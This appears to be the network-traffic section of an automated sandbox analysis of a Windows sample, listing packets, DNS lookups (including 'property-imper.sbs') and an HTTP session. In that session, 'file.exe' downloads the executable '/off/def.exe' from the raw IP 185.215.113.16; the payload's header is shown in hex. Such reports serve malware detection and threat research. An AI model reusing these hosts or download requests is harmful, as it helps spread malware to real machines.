Nov 23, 2024 15:39:03.983638048 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.047602892 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.050677061 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.050755024 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.052947998 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.052994013 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.053024054 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.053040981 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.062691927 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.062726974 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.062778950 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.062783957 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.062835932 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.064914942 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.064934015 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.064946890 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.064953089 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.075489998 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.115952015 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.117613077 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.117660046 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.117726088 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.121092081 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.121102095 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.121572018 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.121577024 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.129911900 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.129933119 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.137312889 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.137345076 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.137409925 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.137576103 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.137584925 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.529352903 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.532985926 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.533030033 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.533138037 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.533138037 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.533168077 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.533168077 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.533181906 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.533190966 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.536149025 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.536180019 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.536262989 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.536444902 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.536458015 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.861566067 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.862406015 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.862421036 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:04.863009930 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:04.863018036 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.314866066 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.317958117 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.318176031 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.318176985 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.318202972 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.318211079 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.321022987 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.321054935 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.321423054 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.321590900 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.321604013 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.707279921 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.708096027 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.708141088 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.708484888 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.708491087 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.910532951 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.911007881 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.911029100 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.911464930 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.911470890 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.914901018 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.915235996 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.915246964 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:05.915644884 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:05.915648937 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.141876936 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.145056009 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.145243883 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.145243883 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.145378113 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.145396948 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.149432898 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.149480104 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.149570942 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.149707079 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.149714947 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.320750952 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.321547031 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.321572065 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.321913958 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.321922064 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.354191065 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.357335091 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.357450962 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.357718945 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.357718945 CET	50005	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.357743025 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.357752085 CET	443	50005	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.358860016 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.360531092 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.360579014 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.360650063 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.360790014 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.360807896 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.362046957 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.362092972 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.362097979 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.362138987 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.362183094 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.362195015 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.362205982 CET	50006	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.362210989 CET	443	50006	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.364455938 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.364492893 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.364564896 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.364698887 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.364711046 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.806859016 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.809997082 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.810064077 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.810323000 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.810344934 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.810353994 CET	50007	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.810360909 CET	443	50007	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.814261913 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.814307928 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:06.814382076 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.814522028 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:06.814534903 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.182770967 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.185173988 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.185190916 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.185682058 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.185687065 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.636929989 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.640068054 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.641429901 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.641607046 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.641607046 CET	50008	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.641618013 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.641625881 CET	443	50008	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.644267082 CET	50014	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.644294024 CET	443	50014	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.644380093 CET	50014	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.644522905 CET	50014	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.644536972 CET	443	50014	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.937983990 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.941847086 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.941862106 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:07.942354918 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:07.942362070 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.145999908 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.146675110 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.146691084 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.147165060 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.147171021 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.148227930 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.148679972 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.148696899 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.149080038 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.149090052 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.384660959 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.387696028 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.387788057 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.387861013 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.387870073 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.387885094 CET	50010	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.387891054 CET	443	50010	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.391149998 CET	50015	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.391195059 CET	443	50015	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.391283989 CET	50015	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.391552925 CET	50015	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.391575098 CET	443	50015	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.592576981 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.595180988 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.595666885 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.595736027 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.595805883 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.595817089 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.595827103 CET	50012	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.595832109 CET	443	50012	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.598217964 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.598335028 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.598335028 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.598335028 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.598879099 CET	50016	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.598944902 CET	443	50016	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.599255085 CET	50016	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.599376917 CET	50016	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.599385023 CET	443	50016	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.600480080 CET	50017	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.600500107 CET	443	50017	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.600630999 CET	50017	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.600747108 CET	50017	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.600756884 CET	443	50017	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.629323006 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.629764080 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.629785061 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.630219936 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.630228996 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:08.897830009 CET	50011	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:08.897855997 CET	443	50011	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.075370073 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.078356028 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.078470945 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.078610897 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.078610897 CET	50013	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.078633070 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.078659058 CET	443	50013	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.081453085 CET	50018	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.081466913 CET	443	50018	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.081631899 CET	50018	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.081768036 CET	50018	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.081778049 CET	443	50018	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.424293995 CET	443	50014	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.424782038 CET	50014	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.424807072 CET	443	50014	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:09.425295115 CET	50014	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:09.425299883 CET	443	50014	13.107.246.63	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:37:02.236028910 CET	64643	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:02.376410007 CET	53	64643	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:36.019069910 CET	53	53756	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:36.190474033 CET	53	61526	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:39.248023033 CET	53	62700	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:40.416111946 CET	59222	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:40.416655064 CET	56941	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:40.557180882 CET	53	56941	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:40.557256937 CET	53	59222	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:42.998820066 CET	60315	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:42.999030113 CET	49863	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:50.931974888 CET	53	61551	1.1.1.1	192.168.2.5
Nov 23, 2024 15:37:52.821775913 CET	56241	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:52.822267056 CET	54662	53	192.168.2.5	1.1.1.1
Nov 23, 2024 15:37:56.223227978 CET	53	58062	1.1.1.1	192.168.2.5
Nov 23, 2024 15:38:15.390271902 CET	53	50758	1.1.1.1	192.168.2.5
Nov 23, 2024 15:38:35.892477989 CET	53	59368	1.1.1.1	192.168.2.5
Nov 23, 2024 15:38:37.853624105 CET	53	59639	1.1.1.1	192.168.2.5
Nov 23, 2024 15:39:06.411459923 CET	53	63284	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 23, 2024 15:37:38.302501917 CET	192.168.2.5	1.1.1.1	c2e4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 15:37:02.236028910 CET	192.168.2.5	1.1.1.1	0xc615	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:40.416111946 CET	192.168.2.5	1.1.1.1	0x2fff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:40.416655064 CET	192.168.2.5	1.1.1.1	0x3891	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 15:37:42.998820066 CET	192.168.2.5	1.1.1.1	0xb46	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:42.999030113 CET	192.168.2.5	1.1.1.1	0xc3fe	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 15:37:52.821775913 CET	192.168.2.5	1.1.1.1	0xc3ac	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:52.822267056 CET	192.168.2.5	1.1.1.1	0x3f67	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 15:37:02.376410007 CET	1.1.1.1	192.168.2.5	0xc615	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:02.376410007 CET	1.1.1.1	192.168.2.5	0xc615	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:40.557180882 CET	1.1.1.1	192.168.2.5	0x3891	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 15:37:40.557256937 CET	1.1.1.1	192.168.2.5	0x2fff	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139144897 CET	1.1.1.1	192.168.2.5	0xb46	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139144897 CET	1.1.1.1	192.168.2.5	0xb46	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139144897 CET	1.1.1.1	192.168.2.5	0xb46	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139144897 CET	1.1.1.1	192.168.2.5	0xb46	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139187098 CET	1.1.1.1	192.168.2.5	0xc3fe	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.139187098 CET	1.1.1.1	192.168.2.5	0xc3fe	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.321027994 CET	1.1.1.1	192.168.2.5	0x726b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.360625029 CET	1.1.1.1	192.168.2.5	0x6f3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.360625029 CET	1.1.1.1	192.168.2.5	0x6f3	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:43.360625029 CET	1.1.1.1	192.168.2.5	0x6f3	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:46.104223013 CET	1.1.1.1	192.168.2.5	0x7138	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:46.104223013 CET	1.1.1.1	192.168.2.5	0x7138	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:46.104223013 CET	1.1.1.1	192.168.2.5	0x7138	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 15:37:46.104588032 CET	1.1.1.1	192.168.2.5	0xf15a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:53.049390078 CET	1.1.1.1	192.168.2.5	0x3f67	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 15:37:53.240717888 CET	1.1.1.1	192.168.2.5	0xc3ac	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

property-imper.sbs

slscr.update.microsoft.com

otelrules.azureedge.net

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49724	185.215.113.16	80	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:37:25.260679960 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 15:37:26.604886055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:37:26 GMT Content-Type: application/octet-stream Content-Length: 2789888 Last-Modified: Sat, 23 Nov 2024 14:23:40 GMT Connection: keep-alive ETag: "6741e56c-2a9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 d3 92 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@faexbrgj@2:@fsrgkmwp l@.taggant@+"p@
